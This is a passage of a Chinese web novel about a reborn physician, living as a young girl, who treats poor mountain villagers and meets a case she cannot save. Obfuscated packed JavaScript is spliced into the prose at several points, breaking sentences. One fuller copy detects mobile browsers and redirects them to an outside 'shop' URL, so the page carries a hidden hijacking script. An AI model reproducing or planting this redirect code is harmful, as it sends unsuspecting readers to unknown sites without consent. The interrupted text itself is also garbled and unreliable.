夕阳西下，山间泛起暮霭。许娇娇起身收拾晒好的药材，动作从容安稳。 来日方长。 她有的是时间，在这深山之中，慢慢积蓄力量。待时机成熟，再一步步走向更广阔的天地。 而眼下最重要的，是把眼前的日子过好——采药，种菜，养鸡，读书，习医。 金桂能走了。 消息像春风里的一粒蒲公英种子，悄无声息地飘出石桥埠，落进落溪村，又随着过路的山风，散到了更远的沟沟坎坎。 金桂能下床走路的第五日，正巧是石桥埠村的赶集日。村里那条山溪边，几个妇人正在洗衣裳，棒槌声此起彼伏，溅起的水花在晨光里亮晶晶的。 “听说了没？孙二根的浑家，前几日还瘫在炕上只有半条命，这几日竟能扶着墙走动了！”说话的是石桥埠的赵干娘，五十来岁，一张嘴从来闲不住。 旁边李婶子停了手里的棒槌，睁大了眼：“当真？她那病不是都说没治了吗？镇上的王大夫去年就说，再拖下去，怕是要瘫一辈子。” “千真万确！”赵干娘压低了声音，却压不住那股子兴奋，“我昨儿个亲眼瞧见的——金桂在院子里晒被子，虽说是扶着墙，可实实在在地站着呢！手指头瞧着也没那么肿了。你们说奇不奇？” 几个妇人互相看了一眼，都露出不可思议的神情。金桂的病在十里八乡都是出了名的，这些年孙二根为了给她治病，家底都快掏空了，谁不替他叹一声苦命？ “是吃了什么灵丹妙药？”有人问。 赵干娘神秘兮兮地左右看看，声音更低了：“说出来你们怕是不信——是落溪村那个许大郎留下的方子！” “许大郎？”李婶子愣了愣，“他不是走了好几年了吗？” “是走了，可方子留下了呀！”赵干娘说得眉飞色舞，“你们还记得许大郎家那个哑巴闺女不？就是被说克死爹娘，送到水月庵后山那个。” “记得记得，叫娇杏是吧？怪可怜的……”有人唏嘘。 “可怜？”赵干娘一拍大腿，“人家如今不可怜了！听说开了窍，会说话了！那方子就是她记起来写出来的！” 溪边棒槌声霎时安静了，只有溪水哗哗的声音。 半晌，李婶子迟疑道：“她……她会说话了？不是生来就聋哑吗？” “千真万确！金桂亲口说的！”赵干娘信誓旦旦，“你们想啊，许大郎在世时医术多高明？咱们村谁有个头疼脑热的，他随手扯几把草药就好。娇杏从前虽说不言语，可她天天跟在她阿爹身边，眼睛看着耳朵听着，那些本事不都印在脑子里了？如今开了窍，想起来了，这不就写出来了？” 这番话说得合情合理，妇人们纷纷点头。 “倒也是……许大郎是好人啊！”一个年纪大些的婆婆叹道，“那年我孙子出痘，烧得厉害，镇上的大夫都说没救了，是许大郎连夜上山采药，守了三天三夜，硬是把孩子从阎王爷手里拉回来的。诊金只要了十个鸡蛋。” “可不是么，”另一个妇人接话，“我娘家兄弟摔断了腿，也是许大郎给接好的，如今走路一点不跛。他心善，穷苦人家看病，常常不收钱。” 说起许大郎的好，井台边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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春日的阳光暖洋洋的，透过柳树新发的嫩叶洒下来，在地上投下斑驳的光影。老柳树的树干要三个人才能合抱，树皮皴裂如老人的脸，不知见证了多少代人的悲欢。 “许大郎啊……”最年长的张太公眯着眼，声音嘶哑，“是个仁义人。” 旁边李老爹磕了磕旱烟杆：“那年我老伴儿心口疼，疼得在炕上打滚，是许大郎用针扎了几处，又熬了碗药，半个时辰就不疼了。他没收钱，只说邻里乡亲，应该的。” “我那不争气的小子，上山被毒蛇咬了，腿肿得跟水桶似的，”另一个老人接话，“也是许大郎救的。用的什么草药我不认得，只记得他撕下自己的衣襟给我儿子包扎，那衣裳料子真好，是绸的……” 老人们你一言我一语，记忆的闸门打开了，那些被时光模糊的细节又清晰起来。许大郎夫妇初来落溪村时，男的俊朗挺拔，女的貌美如花，穿着体面，谈吐文雅，怎么看都不像寻常农户。村里人好奇，明里暗里打听过，可夫妻俩口风紧，只说是北边逃难来的，别的再也不肯多说。 他们住在村西头那三间瓦房里，许大郎偶尔上山采药，有时也打猎，柳氏则在家织布绣花，很少与村里人来往。可谁家真有难处找上门，他们从不推辞。 “这么说来……”张太公缓缓开口，声音在春风里有些飘忽，“娇杏那丫头，许真是被冤枉了？她爹娘都是善心人，生的闺女能坏到哪儿去？” 李老爹叹了口气：“当初赶她出村，是耆老和张家那几个主事人定的，咱们……咱们也没拦着。” “是啊，没拦着。”张太公闭上眼睛，脸上皱纹更深了，“现在想想，一个七岁的孩子，爹娘刚走，就被赶出家门，赶到山里……咱们这些活了一大把年纪的，竟没一个人替她说句话。” 11. 第11章 第一次下山救人 柳树下沉默下来，只有远处传来孩童玩耍的笑声。 良久，李老爹轻声道：“若她当真能治病救人，那是咱们村的福气。许大郎在天有灵，也该安心了。” 这话没说透，可几个老人都听懂了——若娇杏真有本事，那“克亲”的说法就不攻自破。村里人欠许家的，欠那孩子的，该想法子弥补才是。 可怎么弥补呢？房子田地都分了，人也被赶走了。如今那孩子住在水月庵后山，听说自己开荒种地、采药为生，日子过得艰难却硬气。 “等着看吧，”张太公睁开眼，望向西边绵延的青山，“若她真承了她爹的衣钵，早晚会发光的。” 这些议论和感慨，像山间的雾气，聚了又散，散了又聚。 而此刻，离落溪村十里外的青坑村，村东头一间低矮的茅草屋里，一个三十来岁的妇人正守着炕上的孩子抹眼泪。 孩子约莫五六岁，瘦得皮包骨头，脸颊凹陷，双眼紧闭，呼吸微弱。他病了快一个月了，起初只是发烧咳嗽，请了村里的土郎中来看，开了几副药，吃下去不见好，反而越来越重。家里穷得叮当响，男人去城里做苦力还没回来，她一个妇道人家，抱着孩子去镇上医馆，大夫一看就说要住院用药，先交二两银子。 二两银子！她上哪儿找去？只得抱着孩子回来，眼睁睁看着孩子一天天衰弱下去。 “旺儿，旺儿你醒醒，看看阿娘……”妇人握着孩子干瘦的小手，眼泪吧嗒吧嗒往下掉。 门外传来脚步声，隔壁的孙大嫂探进头来，见她这样，叹了口气：“桂花，还没吃呢？” 桂花摇摇头，嗓子哑得说不出话。 孙大嫂走进来，看了看炕上的孩子，也是眼圈一红。她忽然想起什么，压低声音道：“桂花，我今儿个去石桥埠走亲戚，听了个稀罕事……” 她把落溪村许大郎的哑巴女儿开了窍、会治病的事说了一遍，末了道：“都说那丫头得了她爹的真传，随手写个方子，就把孙二根家瘫了多年的金桂治得能下地了。要不……你去问问？” 桂花猛地抬起头，眼中燃起一丝希望：“当……当真？” “石桥埠的人都这么说，有鼻子有眼的。”孙大嫂道，“反正……反正也不花钱，去问问总没坏处。万一真能行呢？” 桂花看着炕上气息奄奄的儿子，一咬牙：“我去！我这就去！”她又转头对着孙大嫂一脸哀求：“嫂嫂，麻烦你帮我照看着点我家的旺儿，我去去就回。” “那你快去吧！快去快回。“孙大嫂爽快的答应。 桂花胡乱抹了把脸，给儿子掖好被角，揣上家里仅有的五个铜板——这还是她攒了半年，准备扯布给儿子做件夏衣的。又包了两块杂面饼子当干粮，跟孙大嫂又交代了一声，便急匆匆出了门。 从青坑村到水月庵后山，要走二十多里山路。桂花心里急，脚下生风，也顾不上春日的太阳晒得人头晕。她心里只有一个念头：去问问，去求求，万一那丫头真有法子呢？ 日头偏西时，桂花终于看到了山坳里那间孤零零的茅屋。篱笆院墙，三间茅草房，院里晒着些草药，几只鸡在草丛里觅食，一条黑狗趴在屋檐下。 她站在篱笆外，看着这简朴却整洁的院子，心里忽然有些怯。万一……万一是唬人的如何是好？万一那丫头根本不会治病呢？ 正犹豫着，屋里走出一个小小的人影。 是个女娃娃，约莫八九岁，穿着半旧的蓝花布袄子，头发梳成两个小髻，用红头绳系着。小脸白皙，眉眼清秀，一双眼睛又黑又亮，正静静地看着她。 桂花愣住了。这孩子……长得真好看，像年画上的童女。可也太小了，这么小的孩子，真会治病？ “婶婶找谁？”许娇娇开口，声音清脆，带着孩童特有的软糯，却又奇异地有种沉稳。 桂花回过神，连忙道：“我……我找娇杏姑娘。请问……她是住这儿吗？” 许娇娇打量着她。妇人三十来岁，面色憔悴，衣衫补丁摞补丁，脚上的草鞋磨破了边，显然是走了远路。眼里满是血丝，神情焦急又带着卑微的期待。 “我就是娇杏。”许娇娇轻声道，“婶婶有什么事？” 桂花“扑通”一声跪下了。 “姑娘，求你救救我儿子！”她眼泪涌出来，磕着头，“我儿子病了一个月了，眼看就不行了，家里穷，请不起大夫……听说你会治病，求求你，救救他吧！我给你磕头了！” 许娇娇吓了一跳，忙上前扶她：“婶婶快起来，有话慢慢说。” 桂花不肯起，只把怀里的五个铜板掏出来，双手捧着递过去：“我就这些钱……都给你，求你救救我儿子……” 许娇娇看着她手里那几枚磨得发亮的铜钱，心里一酸。她用力把桂花拉起来，温声道：“婶婶，钱你收着。你先说说，孩子什么症状？” 桂花见她肯问，心中升起希望，忙不迭地说起来：“起初是发烧，咳嗽，后来就昏昏沉沉的，喂水都喂不进去……浑身烫得像火炭，可手脚又是冰凉的……昨儿个开始说胡话，喊都喊不醒了……” 许娇娇越听眉头皱得越紧。高热、神昏、四肢厥冷——这症状听起来十分凶险，像是热邪内陷、阳气郁闭的危重证候，甚至有热入心包的可能。仅凭这些描述，根本无法准确判断病情。 “孩子多大了？舌苔什么样？大小便如何？”她追问得更细了。 桂花努力回忆着：“六岁……舌苔我昨儿瞧了，又黄又厚，嘴巴里还有味道……小便黄得很，大便……大便好几天没解了。” 许娇娇心中更沉。这病不能耽搁，可也不能仅凭口述就开方——医者治病，望闻问切缺一不可。尤其是危重病人，差之毫厘谬以千里。 她看着桂花殷切又绝望的眼神，内心激烈挣扎。若不下山，凭描述开方风险太大，万一不对症，可能害了孩子性命；若下山……她一个八岁女娃，独自跟陌生人去几十里外，安全吗？暴露了医术，会引来什么麻烦？ 可那是个孩子啊！一个和她当初一样无助、等待救助的孩子。 “婶婶，”许娇娇终于开口，声音坚定起来，“光听你说，我判断不了。我得亲眼看看孩子。” 桂花愣住了：“姑娘的意思是……” “我跟你下山一趟。”许娇娇说着，转身进屋，“你等我收拾一下。” 她迅速整理了一个小布包：张掌柜送的银针、几种急救常用的草药、一小瓶自己配制的退热散。想了想，又带上那本《伤寒杂病论》——万一需要查证什么。 旺财跟在她脚边转悠，似乎知道她要出远门，不安地呜呜叫着。许娇娇蹲下身摸了摸它的头：“旺财，你看家，我很快就回来。” “姑娘……”桂花在门口，又是感激又是惶恐，“这怎么使得？你一个女娃娃，走这么远的路……” “救人要紧。”许娇娇背起布包，锁好房门，“走吧，路上你详细跟我说说孩子这些天的情况，一点细节都不能漏。” 两人一前一后下了山。许娇娇腿短，走得慢，桂花心里急，又不敢催，只得边走边细细说着孩子发病的经过。 “起初就是着了凉，有点咳嗽，我想着孩子壮实，熬熬就过去了。谁知道第三天忽然烧起来，烫得吓人。请了村里的王老爹看，说是风寒入里，开了麻黄、桂枝那些发汗的药……” 许娇娇听着，心里分析：若是风寒外感，用解表药本没错，可如果病邪已经入里化热，再用温燥发汗的药，无异于火上浇油。 “吃了药可出汗了？” “出了，浑身大汗，可汗一出完，烧得更厉害了！”桂花声音发颤，“后来就昏昏沉沉的，喂药都喂不进去了。王老爹说他也没法子了，让送镇上医馆……可我们哪来的钱啊！” 说到这儿，桂花又哭起来。许娇娇默默听着，脚下加快了步子。 二十多里山路，对一个八岁的孩子来说着实艰难。走到一半，许娇娇已气喘吁吁，小脸涨得通红。桂花看着不忍：“姑娘，我背你一段吧？” “不用，”许娇娇摇头，擦了把汗，“我能走。还有多远？” “过了前面那个山头，再走三四里就到了。” 日头渐渐西斜，山间起了凉风。许娇娇心里着急——若是热入心包的重症，耽误一刻就多一分危险。 终于，在天色将暗未暗时，她们看到了青坑村稀疏的灯火。 桂花的家在村东头最破败的一处，茅草屋顶有些地方已经塌陷，用树枝胡乱撑着。还没进门，就闻到一股病气混杂着霉味的沉闷气息。 屋里点着一盏豆大的油灯，炕上一个小小的身影蜷缩着，几乎看不出起伏。 孙大嫂早就等急了，她迎上来一脸的急色：“怎的恁久，我等的心里快冒烟了。” 瞧见许娇娇，孙大嫂按下心中的惊奇，忙道：“快瞧瞧旺儿，我一直给擦手脚，却没甚大用。” 许娇娇快步走到炕边，就着昏暗的灯光看去，心头一紧。 孩子瘦得脱了形，面色潮红却唇色发绀，呼吸浅促，额头烫得灼手。她轻轻扒开孩子的眼皮——瞳孔对光反应迟钝。又掰开嘴看舌苔：舌质红绛，苔黄燥，口气秽浊。 “什么时候开始说胡话的？”许娇娇一边诊脉一边问。 “昨儿后半夜……”桂花一头一脸的汗顾不得擦拭，神色紧绷地看着她的动作，“姑娘，我家旺儿……我家旺儿，他…..还有救吗？” 许娇娇没立刻回答。指下的脉象让她心惊：脉细数而促，如雀啄食，时有时无——这是危重之兆。再摸四肢，果然如桂花所说，肘膝以下冰凉，但胸腹却烫手。 热深厥深，阳郁不达。这是热邪完全内陷，阳气被郁遏于里，不能外达四肢。若不及时透热转气，恐有阴阳离决之险。 “婶婶，有热水吗？”许娇娇冷静地问。 “有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222022|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，有！”桂花忙答着要去端水。孙大嫂按住她，“桂花，你先别着急，擦把汗，在这里看着，我去端水。” 桂花感激的点头应允。 许娇娇从布包里取出银针，在油灯上烧了烧。她看着孩子瘦小的身体，深吸一口气——前世行医多年，今生却是第一次施针救人。 取穴：十宣放血泄热，曲池、合谷透表，内关、膻中开窍醒神。 她下针又快又稳，全然不像个八岁的孩子。桂花和端水来的孙大嫂在一旁看得屏住呼吸，只见银针落下，孩子原本紧蹙的眉头似乎松了松。 行针约莫一刻钟，许娇娇起针，又取出带来的退热散，用温水调了少许，一点点喂给孩子。药汁顺着嘴角流出大半，她耐心地擦拭，再喂。 “今晚是关键。”许娇娇对桂花说，“我开的这药能清热开窍，但孩子病得太重，能否转机，就看今夜了。你守着，若子时前后能微微出汗，热退神清，就有希望。若还是高热不退……” 她没说完，桂花已明白，眼泪又下来了：“姑娘，若能救回我的旺儿，我做牛做马报答你……” “别说这些。”许娇娇看了看窗外完全黑透的天色，“今晚我留下。你去烧些热水，给孩子擦擦身子，注意手脚保暖。” 孙大嫂见天色已晚，便和桂花说家去，明儿再来，桂花谢了又谢，孙大嫂一脸的担忧，却也安慰了她几句，又和许娇娇打了声招呼便离开了。 桂花去烧热水，许娇娇坐在床边，看着昏睡的孩子，心情复杂。她冒险下山，暴露医术，值得吗？可若不来，这孩子必死无疑。 夜深了，山村寂静。油灯噼啪作响，映着孩子潮红的小脸。许娇娇每隔一刻钟就探一次体温，诊一次脉。 亥时末，孩子忽然躁动起来，四肢抽动，喉咙里发出咯咯的声音。 “姑娘！姑娘！”桂花吓得脸色发白。 许娇娇忙按住孩子，再次诊脉——脉象更急了，但隐约有外透之势。她当机立断，取出银针，刺入人中、涌泉。 “拿湿布来，敷额头！” 桂花手忙脚乱地拧了布巾。许娇娇一边行针，一边观察。忽然，孩子“哇”地一声，吐出大口粘稠的黄痰，随后剧烈咳嗽起来。 咳嗽是好事——肺气通了。 果然，咳了一阵后，孩子呼吸渐渐平稳，额头上渗出细密的汗珠。 许娇娇伸手一探，热度开始退了。 “出汗了……”她长舒一口气，“有救了。” 桂花扑到炕边，摸着儿子汗湿的额头，喜极而泣。 子时过后，孩子的体温明显下降，虽然还在昏睡，但呼吸均匀了许多，四肢也渐渐回暖。许娇娇又喂了一次药，这次能喂进去大半了。 “熬过今夜，明天就能醒。”她说着，疲惫感涌上来。毕竟只是个八岁的身体，走了二十多里山路，又施针治病，实在撑不住了。 桂花忙在床边铺了席子：“姑娘，你快歇歇。” 许娇娇和衣躺下，几乎立刻睡着了。梦里，她仿佛又回到了前世的中医院，穿着白大褂在病房穿梭。可转眼间，又变成小小的茅屋，旺财在院子里叫…… 鸡叫头遍时，她醒了。第一件事就是去看孩子。 体温基本正常了，面色从潮红转为苍白——是大病之后的虚弱，但不是死气了。脉象虽然细弱，但已有根。 “阿娘……”孩子忽然发出微弱的声音。 桂花猛地抬起头，几乎不敢相信自己的耳朵：“旺儿？旺儿你醒了？” 孩子睁开眼，眼神还有些涣散，但确确实实醒了。他看着许娇娇，小声问：“阿娘，她是谁？” “她是救你命的恩人！”桂花搂着儿子，又哭又笑。 许娇娇也笑了，心中一块大石落地。她再次诊脉，调整了药方：“热邪已退，但气阴两伤。接下来要益气养阴，慢慢调理。” 她写下新方：太子参、麦冬、五味子、生地、玄参、甘草。又交代了饮食禁忌：“这几天只能喝稀粥，不能吃油腻。等精神好些了，才能慢慢添食。” 桂花一一记下，又要掏那五个铜板，被许娇娇坚决拦住了：“婶婶留着给孩子买点吃的吧。等他好了，有空去山上帮我采些草药就行。” 天已蒙蒙亮，许娇娇该回去了。桂花坚持送她到村口，一路不知说了多少感谢的话。 “姑娘，你的大恩大德，我们母子记一辈子。”分别时，桂花又落了泪，“等旺儿好了，我带他去给你磕头。” “桂花嫂嫂别这样，好好照顾孩子。”许娇娇摆摆手，转身走上了山路。 晨光熹微，山间雾气缭绕。许娇娇独自走在回山的路上，虽然疲惫，心里却有种沉甸甸的充实感。 她救了一个孩子。用这双手，这个身体，前世的学识，今生的机缘。 山路蜿蜒，她一步步走着。 远处传来不知名的鸟鸣，清脆婉转。 12. 第12章 声名初现 晨露未晞，许娇娇踏着湿滑的山径回到茅屋时，日头已爬过东边山头，将金辉洒满院落。 旺财听到脚步声，从篱笆门内“汪汪”叫着冲出来，尾巴摇得像拨浪鼓。它绕着她转圈，鼻子在她裙摆上嗅来嗅去，似乎要确认主人是否安好。 “好啦好啦，我回来了。”许娇娇笑着摸摸它的头，疲惫感在这一刻涌了上来。她推开门，将布包放在桌上，倒了一碗凉开水咕咚咕咚喝下。 这一趟来回四十多里山路，对一个八岁的身体来说已是极限。她坐在门槛上，看着院中那些熟悉的草药、菜畦、鸡舍，心中涌起一股奇异的安定感。这是她的家，她在这个陌生世界里一点点建立起来的栖身之所。 休息片刻，她强打精神起身，先给旺财添了食水，又撒了把谷子喂鸡。那几只小鸡已长成半大，见食便扑腾着翅膀围拢过来。看着这生机勃勃的小院，昨夜桂花家中那昏暗压抑的景象仿佛隔了一层雾，却又清晰得刺眼。 那个叫旺儿的孩子，若非她及时赶到，怕是熬不过当夜。 许娇娇洗净手，开始整理布包里的东西。银针要重新擦拭消毒，用过的草药要补充。能救那旺儿和一命，她心中十分欢喜，她学以致用，还算没有白费。 日子还是在晒药采药中过了三日，第四日山下来了人。 不是桂花，也不是李婆子。来的是个五十来岁的汉子，皮肤黝黑，背微驼，一身粗布短褐打满补丁。他站在篱笆外，搓着手，神情局促。 “请问……可是娇杏姑娘的家？”他声音沙哑，带着浓重的乡音。 许娇娇正在院中翻晒前几日采的夏枯草，闻声抬头：“我是。伯伯有事吗？” 那汉子见她真是个小女娃，愣了愣，眼中闪过一丝犹豫，但还是开口：“我是青坑村来的，姓周，行四，村里人都叫我周四。听说……听说姑娘会看病？” 许娇娇心中了然。桂花儿子病愈的消息，怕是已经传开了。 “略懂些皮毛。”她谨慎道，“周伯伯哪里不舒服？” “不是我，是我家老婆子。”周四忙道，“她咳嗽了小半年，入春后越发重了，夜里咳得睡不成觉。去镇上瞧过，吃了不少药，总不见好。前几日听说姑娘治好了桂花的旺儿，我就想……想来碰碰运气。” 他说着，从怀里摸出一个小布包，层层打开，里面是十几个铜钱和两个鸡蛋：“家里穷，就这些……姑娘别嫌弃。” 许娇娇看着那些铜钱，大多磨得光滑发亮，显然是攒了许久。鸡蛋倒是新鲜，壳上还沾着草屑。 “周伯伯先进来坐。”她打开篱笆门，“钱和鸡蛋您收着，我先问问病情。” 周四不肯收，执意将东西放在院中石墩上，这才小心翼翼地在另一块石头上坐下，半个屁股悬着，很是拘谨。 许娇娇细细问了症状：咳嗽夜间加重，痰白稀，遇冷更甚，伴有胸闷气短，畏寒肢冷，舌苔白滑——典型的寒饮伏肺之证。镇上的大夫开的方子她看了方子，以清热化痰为主，方向错了。 “这病我能治。”她斟酌着说，“但需要换方子。周伯伯若信得过，我写个方子，您去镇上抓药。” 周四眼中泛起希望：“信得过！信得过！桂花说姑娘是神医，几针下去她家旺儿就活了！” 许娇娇哭笑不得。传言果然越传越玄乎。她进屋取了纸笔，写下小青龙汤加减方：麻黄、桂枝、干姜、细辛、半夏、五味子、白芍、甘草。又特意注明：细辛不过钱，三碗水煎成一碗，每日一剂，先服三日。 写罢，她将方子递给周四：“先吃三副，若咳嗽减轻，再来找我调方。若无效，就不必再来了。” 周四双手接过，如获至宝，连连道谢。临走时，许娇娇硬是把鸡蛋塞回他手里：“给婶婶补身子吧，药钱不便宜，这些您留着。” 送走周四，许娇娇站在院中，望着山下蜿蜒的小路出神。 医者仁心，她做不到见死不救。可名声一旦传开，麻烦也会接踵而至。水月庵那边，静尘上次来时曾隐晦提醒，水仙姑似乎已经注意到后山的动静，让她千万小心。 正思量间，旺财忽然竖起耳朵，朝篱笆外低吠。 又有人来了。 这次是两个人，一个中年妇人搀着个白发老妪，老妪拄着拐杖，脚步蹒跚。两人皆是面黄肌瘦，衣衫褴褛，一看便是贫苦人家。 “姑娘，行行好……”妇人未语先落泪，“我婆婆眼睛看不见了，听说姑娘会治病，我们走了三十多里路……” 许娇娇心中一叹。 她知道，从救活旺儿那一刻起，这条路就再也回不了头了。 接下来的日子，求医的人渐渐多了起来。 起初只是青坑村、石桥埠附近的乡民，后来消息越传越远，连几十里外的村子都有人摸上山来。所患之病也五花八门：咳嗽、胃痛、风湿、头痛、妇人经带不调、小儿疳积…… 许娇娇一一接诊。她能治的，就开方施针；不能治的，便直言相告，建议去城里寻更好的大夫。诊金她从不强求，有钱的给几文，没钱的给把米、几个鸡蛋，实在什么都没有的，她也不计较。 只是她始终坚持一个原则：不上门出诊。一则她年纪小，独身下山不安全；二则这茅屋是她最后的屏障，她不愿过多暴露在外。 李婆子知道了这事，急得又上山一趟。 “我的乖囡，你怎能这样莽撞！”她拉着许娇娇的手，又急又心疼，“给人看病是好事，可你一个女娃娃，万一遇到歹人怎么办？万一治坏了人，人家来找你麻烦怎么办？” 许娇娇安抚她：“阿婆放心，我看病有分寸。治不了的病，我绝不逞强。” “可这名声传开了，水月庵那边……”李婆子压低声音，“我听说，静非那尼姑前几日还向人打听后山又来了什么人。那尼姑心术不正，你得当心。” 许娇娇点头：“我晓得的。” 其实她早有察觉。最近几次静尘来，神色总是欲言又止，问起庵中情况，她也含糊其辞。有一次，静尘临走前突然说：“小施主，近期若是静非或庵里的其他姑子来打听消息，你都推说不知，千万别提你会医术。” 许娇娇点头应允。 水月庵里有猫腻，其中的深意她尚未探知。 送走李婆子，她站在院中，望着西边水月庵的方向。青瓦屋顶掩在竹林后，只露出翘角飞檐。那个地方，像一头蛰伏的兽，安静却危险。 但她没有退路。 求医的人还在来，她的名声还在传。有时候，她看着那些穷苦百姓满怀希望的眼神，看着他们千恩万谢地离去，心里会涌起一种复杂的情绪——这大概就是医者的宿命吧，明知前路有险，却无法背过身去。 这日午后，许娇娇正在整理晒干的药材，篱笆外传来急促的脚步声。 “娇杏姑娘！娇杏姑娘在吗？” 是个年轻男子的声音，带着哭腔。 许娇娇起身开门，见一个二十来岁的汉子背着个老人，旁边跟着个妇人，三人皆是一身狼狈。老人趴在汉子背上，左腿裤管卷起，小腿肿胀发黑，伤口处已溃烂流脓，散发着恶臭。 “姑娘，救我阿爹！”汉子噗通跪下，“我阿爹上山采药，被毒蛇咬了，找了郎中瞧，敷了药不见好，反而烂成这样……听说姑娘医术高明，求您救救他！” 许娇娇心头一紧。这伤口感染严重，已现坏疽之象，若不及时处理，恐有截肢甚至性命之危。 “快把人抬进来！”她当机立断。 将老人安置在屋内唯一的床上，许娇娇仔细检查伤口。蛇毒虽已解，但伤口处理不当，感染深入肌理，脓液积聚，周围皮肤发黑发硬，这是气性坏疽的征兆。 “伤口必须清理。”她冷静地说，“会很疼，老人家要忍一忍。” 老人虚弱地点头：“姑娘放手治吧……总比死了强。” 许娇娇取来烧开的水，用自制的竹镊子和纱布，开始清创。腐肉要一一剔除，脓液要引流干净，这个过程极其痛苦，老人咬紧牙关，额上青筋暴起，却一声不吭。 那汉子和妇人在旁看得脸色发白，妇人更是转过头去不敢看。 清创完毕，许娇娇敷上自制的解毒生肌散——以金银花、蒲公英、地丁、黄连等清热解毒药为主，再加乳香、没药活血生肌。又开了内服方：仙方活命饮加减，托毒外出。 “伤口每日换药一次，内服药早晚各一剂。”她交代道，“这三日最关键，若肿胀开始消退，伤口转红，就有希望。若继续恶化……”她没说完，但众人都明白。 汉子千恩万谢，掏出一个小布袋，里面是半袋糙米和十几个铜钱：“家里就这些了，姑娘别嫌少……” “米我收下，钱拿回去抓药。”许娇娇只取了糙米，“药不便宜，你们还要吃饭。” 送走这一家三口，已是日暮西山。许娇娇累得几乎直不起腰，手上还残留着伤口脓血的腥臭。她打了水，仔仔细细洗了三遍手。 旺财蹭过来，呜呜叫着，似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许娇娇皱眉：“我这儿离庵里还有一里多地，如何扰了清静？” 静尘欲言又止，最终只叹道：“总之……你要小心。静非最近常往后山这边来，说是采蘑菇，但我看她东张西望的，不知在找什么。” 送走静尘，许娇娇心中警铃大作。她不怕治病救人，却怕那些藏在暗处的算计。水月庵那个地方，总让她觉得不安。 这日，她正在院中教旺财捡柴——这小东西越来越聪明，能听懂不少指令——忽然听见远处传来嘈杂的人声。 不止一两个，像是一群人。 许娇娇站起身，手不自觉握紧了晾在一旁的药锄。 只见山道上，七八个人抬着个门板，急匆匆往这边来。门板上躺着个人，盖着床单，看不见面容。后面跟着男女老少十几人，有的哭，有的喊，乱成一团。 “娇杏姑娘！救命啊！” 人群冲到篱笆外，为首的是个中年汉子，噗通跪下：“姑娘，我兄弟从屋顶摔下来，昏死过去了！郎中说没救了，求您看看！” 许娇娇心头一沉。这种外伤导致的昏迷，最是凶险。 她快步上前，掀开床单一看，倒吸一口凉气。 伤者是个三十来岁的男子，面色惨白如纸，呼吸微弱，头顶有个鸡蛋大的血肿，右侧瞳孔散大——这是颅内出血的典型体征。 “什么时候摔的？”她急问。 “快、快两个时辰了！”旁边一个妇人哭道，“从屋顶滚下来，后脑勺着地，当时就昏了，叫不醒……” 两个时辰。许娇娇心往下沉。若在从前，还能送医院开颅减压。可在这里…… 她伸手诊脉，脉象沉细微弱，如游丝将断。又翻开眼皮细看，右侧瞳孔已完全散大，对光无反应。 脑疝形成了。即便在前世，这也是九死一生的危症。 “姑娘，能救吗？”那汉子眼巴巴望着她，眼中满是绝望中最后的希冀。 周围的人都安静下来，所有目光都集中在她身上。 许娇娇的手在袖中微微颤抖。她知道，自己接下来说的话，可能摧毁一个家庭的希望。 可医者不能骗人。 她深吸一口气，声音不大，却清晰地传到每个人耳中： “伤得太重，我……无能为力。” 人群中爆发出压抑的哭声。那汉子瘫坐在地，双手捂脸，肩膀剧烈抖动。 许娇娇别过脸，不忍再看。她转身进屋，取出一小包安神的药粉：“这个拿去，若他……若他走时痛苦，可兑水喂少许，能让他安详些。” 汉子接过药包，手抖得几乎拿不住。他朝许娇娇磕了个头，哑声道：“多谢姑娘……实话相告，总比……总比给我们虚妄的希望强。” 人群抬着门板，哭声渐远。 13. 第13章 静非的威胁 那场未能救回的重伤，像一块沉石压在许娇娇心头数日。 她照常采药、晒药、打理菜园，却总在夜深人静时，想起那汉子绝望的眼神，想起门板上苍白的面容。医者终有力所不及，这道理她懂，可每一次面对，依旧如钝刀割心。 旺财似乎察觉主人情绪低落，这几日格外黏人。许娇娇上山采药，它便寸步不离地跟着；她在院中炮制药材，它就趴在脚边，黑亮的眼睛时时望着她。 “旺财啊，”这日傍晚，许娇娇一边捣药一边轻声说，“我是不是太贪心了？总想着能救一个是一个。” 旺财呜呜两声，用头蹭她的手。 许娇娇苦笑。跟一只狗说话，她怕是真有些魔怔了。 然而日子总要过下去。求医的人并未因那次失败而减少，反而更多了。许娇娇渐渐明白，在这些穷苦乡民眼中，她已是绝望中最后的稻草——有希望，总比等死强。 她愈发谨慎。接诊前必先细问病史，诊脉时凝神静气，开方时斟酌再三。能治的，尽力施为；不能治的，也委婉劝告，指点他们去何处求医。 这般又过了半月，已是初夏时节。山间草木愈发蓊郁，草药也进入丰采期。许娇娇每日天不亮就上山，背回的药材堆满了半个院子。 这日她正在晾晒新采的艾叶，篱笆外传来熟悉的声音：“娇杏姑娘在吗？” 是桂花。 许娇娇抬头，见桂花牵着个男孩站在门外。男孩正是旺儿，比上次见面时胖了些，小脸有了血色，只是还显瘦弱。见到许娇娇，他有些害羞地往母亲身后躲。 “快进来。”许娇娇笑着招手。 桂花领着孩子进门，将手里的篮子放在石墩上：“姑娘，旺儿全好了！能吃能睡，也能跑能跳了！这些鸡蛋是自家鸡下的，还有一把新笋，姑娘别嫌弃。” 篮子里整整齐齐码着二十个鸡蛋，个个红壳饱满。旁边是一捆嫩笋，剥得干干净净。 许娇娇心里一暖：“嫂嫂太客气了。旺儿，来，让我看看。” 旺儿怯生生走过来。许娇娇执起他的小手诊脉，脉象平稳有力，舌苔淡红薄白，确是痊愈之象。 “恢复得很好。”她放开手，从屋里取出几块饴糖递给旺儿，“但不能贪凉，少吃生冷，记住了？” 